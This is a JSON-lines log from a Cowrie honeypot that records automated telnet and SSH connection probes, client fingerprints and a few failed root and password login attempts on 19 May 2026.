{"eventid":"cowrie.session.closed","duration":37.39709949493408,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:51.165156Z","src_ip":"192.119.13.58","session":"f4b362de9315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.07796502113342,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:53.287277Z","src_ip":"192.119.13.58","session":"6dc7ee79750b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48330,"dst_ip":"10.17.0.5","dst_port":23,"session":"01487f6ce190","protocol":"telnet","message":"New connection: 192.119.13.58:48330 (10.17.0.5:23) [session: 01487f6ce190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:55.038409Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57939,"dst_ip":"159.203.135.109","dst_port":22,"session":"baeb006984ad","protocol":"ssh","message":"New connection: 167.172.81.52:57939 (159.203.135.109:22) [session: baeb006984ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:57.930583Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:58.005428Z","src_ip":"167.172.81.52","session":"baeb006984ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:58.011019Z","src_ip":"167.172.81.52","session":"baeb006984ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.786351919174194,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:08.498083Z","src_ip":"192.119.13.58","session":"1e2a5f081c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48218,"dst_ip":"10.17.0.5","dst_port":23,"session":"2706bfa6e6dc","protocol":"telnet","message":"New connection: 192.119.13.58:48218 (10.17.0.5:23) [session: 2706bfa6e6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:10.912079Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46490,"dst_ip":"10.17.0.5","dst_port":23,"session":"a419e0ab97ea","protocol":"telnet","message":"New connection: 192.119.13.58:46490 (10.17.0.5:23) [session: a419e0ab97ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:17.802063Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"12436b3a9c73","protocol":"telnet","message":"New connection: 192.119.13.58:37272 (10.17.0.5:23) [session: 12436b3a9c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:22.885889Z"}
{"eventid":"cowrie.session.closed","duration":39.01687741279602,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:24.287089Z","src_ip":"192.119.13.58","session":"cb917adfebce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.11.57.172","src_port":38578,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41bdf592574","protocol":"ssh","message":"New connection: 45.11.57.172:38578 (10.17.0.5:22) [session: f41bdf592574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:33.625997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:33.630166Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:33.743042Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.22102618217468,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.259279Z","src_ip":"192.119.13.58","session":"01487f6ce190","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:b7:01:2a:0c:d8:cb:be:82:9a:25:a3:66:c4:6e:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA9zjB2f9MsNR47wV8X60931YsU7Iv8QFrHJTfw6gNyTpT0dCjsh1y0Jmqz31xnqkqDkfjnmXfb5a2ec8KIdqtFmUilY2JXnG1ndQ3aNEnahSb4by2kjZB/wEM+QcQt1jIaOyh8gNjbYcTTxc8VugSwxwNAAgdng6662Ek4Wd9XeXtJFY33jjnM//Ou0aMcDpBfjgGz350oCa5oQIrw3KEnvQkY91I6nwb3+LTtah40jL2PhvyZTnPgbJ9aSIzOPTfZAOZo5AFxhksEYlv0+WTVkfoXDAw1HuQqy0AtfUjlgFn7U3hkotWLvvAZzMKfyYTFzB+PvD0jD9abDiRuv/x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:b7:01:2a:0c:d8:cb:be:82:9a:25:a3:66:c4:6e:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.273834Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:b7:01:2a:0c:d8:cb:be:82:9a:25:a3:66:c4:6e:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA9zjB2f9MsNR47wV8X60931YsU7Iv8QFrHJTfw6gNyTpT0dCjsh1y0Jmqz31xnqkqDkfjnmXfb5a2ec8KIdqtFmUilY2JXnG1ndQ3aNEnahSb4by2kjZB/wEM+QcQt1jIaOyh8gNjbYcTTxc8VugSwxwNAAgdng6662Ek4Wd9XeXtJFY33jjnM//Ou0aMcDpBfjgGz350oCa5oQIrw3KEnvQkY91I6nwb3+LTtah40jL2PhvyZTnPgbJ9aSIzOPTfZAOZo5AFxhksEYlv0+WTVkfoXDAw1HuQqy0AtfUjlgFn7U3hkotWLvvAZzMKfyYTFzB+PvD0jD9abDiRuv/x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.277733Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:d5:65:ff:c9:16:94:12:f1:1d:2c:f8:61:8b:47:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMZ/T7pNIij1qAaO43DGuarRa2tvCvcfm7RXD3IcNsrNt/pfO1TxY0FJHYt7LybldQwKJQuveCoKi6PmILYBqfhfo935eIRlEBdJL7O6Tv+jpXYPNgqzL+QWE4ROsfY60x+NDhwjCjFU+3IoysQSrOd3yOUV22PNp+MKn3uF5Tx5w01yWDhEcciyV5pldzp5IRzWKMrA0j6wy68RetwX2Et1biHGCreHXmg7E4ReO17gVy8o7L7MVWrRL9evjIXSAjA2VZJETus7pheMeJ/eUTsuPCuX5eKPNXu6A0U9C6SyMgucM9WEewgBL8fS1/NiC7aLq0ygdgPz6DeB4S3bBmQhJKDFmPcUZIR/JRAVC3AQSVpQ7f5DylTliaKtu9olexPZ6RA5uGygiS21V+Pb7bZqUvG5ZiBJdY9LbtB6Jox3sGMbWyQMGSomrhtApq9/JiPRhvygdLensSeP8pRf4EX2OyvYP+t0vxX0ZrIBbmWjdYxou0rb3gou1WXvawon/NvLdBMIKkOtAH9LcXi6AcGuPuw5aDvHwNPcoGvOkFiiUlelTt9BYYS8R8UrNbz2MQKX/xG1wKmTo8kVdx99i2S98V+tIUq7AL0nc/hkdycavxPDDGUoMJGvHdSS+uJBeabJrKau2QcedxqXlg+GS5TyG53Qq+PCDep20TgIe61w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:d5:65:ff:c9:16:94:12:f1:1d:2c:f8:61:8b:47:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.413549Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:d5:65:ff:c9:16:94:12:f1:1d:2c:f8:61:8b:47:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMZ/T7pNIij1qAaO43DGuarRa2tvCvcfm7RXD3IcNsrNt/pfO1TxY0FJHYt7LybldQwKJQuveCoKi6PmILYBqfhfo935eIRlEBdJL7O6Tv+jpXYPNgqzL+QWE4ROsfY60x+NDhwjCjFU+3IoysQSrOd3yOUV22PNp+MKn3uF5Tx5w01yWDhEcciyV5pldzp5IRzWKMrA0j6wy68RetwX2Et1biHGCreHXmg7E4ReO17gVy8o7L7MVWrRL9evjIXSAjA2VZJETus7pheMeJ/eUTsuPCuX5eKPNXu6A0U9C6SyMgucM9WEewgBL8fS1/NiC7aLq0ygdgPz6DeB4S3bBmQhJKDFmPcUZIR/JRAVC3AQSVpQ7f5DylTliaKtu9olexPZ6RA5uGygiS21V+Pb7bZqUvG5ZiBJdY9LbtB6Jox3sGMbWyQMGSomrhtApq9/JiPRhvygdLensSeP8pRf4EX2OyvYP+t0vxX0ZrIBbmWjdYxou0rb3gou1WXvawon/NvLdBMIKkOtAH9LcXi6AcGuPuw5aDvHwNPcoGvOkFiiUlelTt9BYYS8R8UrNbz2MQKX/xG1wKmTo8kVdx99i2S98V+tIUq7AL0nc/hkdycavxPDDGUoMJGvHdSS+uJBeabJrKau2QcedxqXlg+GS5TyG53Qq+PCDep20TgIe61w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.417481Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:7a:b7:e1:0c:e1:30:cf:0c:15:fd:da:41:82:e9:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELCaXR9MTaORKKjQ5yh5V/f0Dh9/97yQEHPwQnivtwK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 24:7a:b7:e1:0c:e1:30:cf:0c:15:fd:da:41:82:e9:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.528126Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:7a:b7:e1:0c:e1:30:cf:0c:15:fd:da:41:82:e9:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELCaXR9MTaORKKjQ5yh5V/f0Dh9/97yQEHPwQnivtwK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.532140Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:ae:58:87:25:ee:39:2f:77:20:0d:ef:38:30:1b:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFjrVcEIldS56/o0WirRiqOcwN+st+C5jj2OhARKFVJK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fe:ae:58:87:25:ee:39:2f:77:20:0d:ef:38:30:1b:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.643356Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:ae:58:87:25:ee:39:2f:77:20:0d:ef:38:30:1b:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFjrVcEIldS56/o0WirRiqOcwN+st+C5jj2OhARKFVJK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.647668Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:30:25:41:76:b4:06:13:8c:3f:60:be:45:9f:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdHlgQh+/wBYzRdTm16UTUDkPSF2ZD6bZsEO4JvWzswYGdni/3yv1gpIVlGSUr7AzQ5rqrxWEPD78SSDBjS5xBtpi34u82L6Di5EoHGETwE8Vn/OrMKcJQdmNH9SL3aQ0oICe1AFP/Kljsm+mNKaMQhClOVTdVt5msGYmyB+1zKW8+jqMeuAD/pLO8d2TnNnSVVid6WZkgCqPO4STthKr6lSzcVlyxVcxHq4I4gm7fo2+XWgkZ9doTRU2icDtUdZ275fTLWv/RoHFPnGo3gX77rijB8C48tGzNqmFbre0jN8QJ9GNyvjCdcqdcfEAOp+6Wcx9RH/fh0+xB33jFS7rp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:30:25:41:76:b4:06:13:8c:3f:60:be:45:9f:28:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.759735Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:30:25:41:76:b4:06:13:8c:3f:60:be:45:9f:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdHlgQh+/wBYzRdTm16UTUDkPSF2ZD6bZsEO4JvWzswYGdni/3yv1gpIVlGSUr7AzQ5rqrxWEPD78SSDBjS5xBtpi34u82L6Di5EoHGETwE8Vn/OrMKcJQdmNH9SL3aQ0oICe1AFP/Kljsm+mNKaMQhClOVTdVt5msGYmyB+1zKW8+jqMeuAD/pLO8d2TnNnSVVid6WZkgCqPO4STthKr6lSzcVlyxVcxHq4I4gm7fo2+XWgkZ9doTRU2icDtUdZ275fTLWv/RoHFPnGo3gX77rijB8C48tGzNqmFbre0jN8QJ9GNyvjCdcqdcfEAOp+6Wcx9RH/fh0+xB33jFS7rp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.764314Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:34.877749Z","src_ip":"45.11.57.172","session":"f41bdf592574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":19540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd8e8ba93c3","protocol":"ssh","message":"New connection: 103.24.63.85:19540 (159.203.135.109:22) [session: ecd8e8ba93c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:38.289746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:38.294399Z","src_ip":"103.24.63.85","session":"ecd8e8ba93c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:38.515404Z","src_ip":"103.24.63.85","session":"ecd8e8ba93c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:39.405028Z","src_ip":"103.24.63.85","session":"ecd8e8ba93c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:40.615038Z","src_ip":"103.24.63.85","session":"ecd8e8ba93c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50190,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ce9eb3853e","protocol":"telnet","message":"New connection: 192.119.13.58:50190 (10.17.0.5:23) [session: 57ce9eb3853e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:41.554948Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"547c621e3934","protocol":"telnet","message":"New connection: 192.119.13.58:57792 (10.17.0.5:23) [session: 547c621e3934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:49.353675Z"}
{"eventid":"cowrie.session.closed","duration":39.3829460144043,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:50.294920Z","src_ip":"192.119.13.58","session":"2706bfa6e6dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37024,"dst_ip":"10.17.0.5","dst_port":23,"session":"b426a962045c","protocol":"telnet","message":"New connection: 192.119.13.58:37024 (10.17.0.5:23) [session: b426a962045c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:51.272365Z"}
{"eventid":"cowrie.session.closed","duration":34.33006310462952,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:52.132032Z","src_ip":"192.119.13.58","session":"a419e0ab97ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":40394,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc9976eaee6","protocol":"ssh","message":"New connection: 193.37.70.224:40394 (159.203.135.109:22) [session: 3dc9976eaee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:52.750497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:52.759613Z","src_ip":"193.37.70.224","session":"3dc9976eaee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:52.854728Z","src_ip":"193.37.70.224","session":"3dc9976eaee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:53.138370Z","src_ip":"193.37.70.224","session":"3dc9976eaee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:27:54.236760Z","src_ip":"193.37.70.224","session":"3dc9976eaee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea96576b655","protocol":"telnet","message":"New connection: 192.119.13.58:45878 (10.17.0.5:23) [session: 3ea96576b655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:00.675821Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51500,"dst_ip":"10.17.0.5","dst_port":23,"session":"243a09b04dd0","protocol":"telnet","message":"New connection: 192.119.13.58:51500 (10.17.0.5:23) [session: 243a09b04dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:02.132225Z"}
{"eventid":"cowrie.session.closed","duration":42.59243416786194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:05.478207Z","src_ip":"192.119.13.58","session":"12436b3a9c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46696,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e73ad237e2","protocol":"telnet","message":"New connection: 192.119.13.58:46696 (10.17.0.5:23) [session: e9e73ad237e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:08.044989Z"}
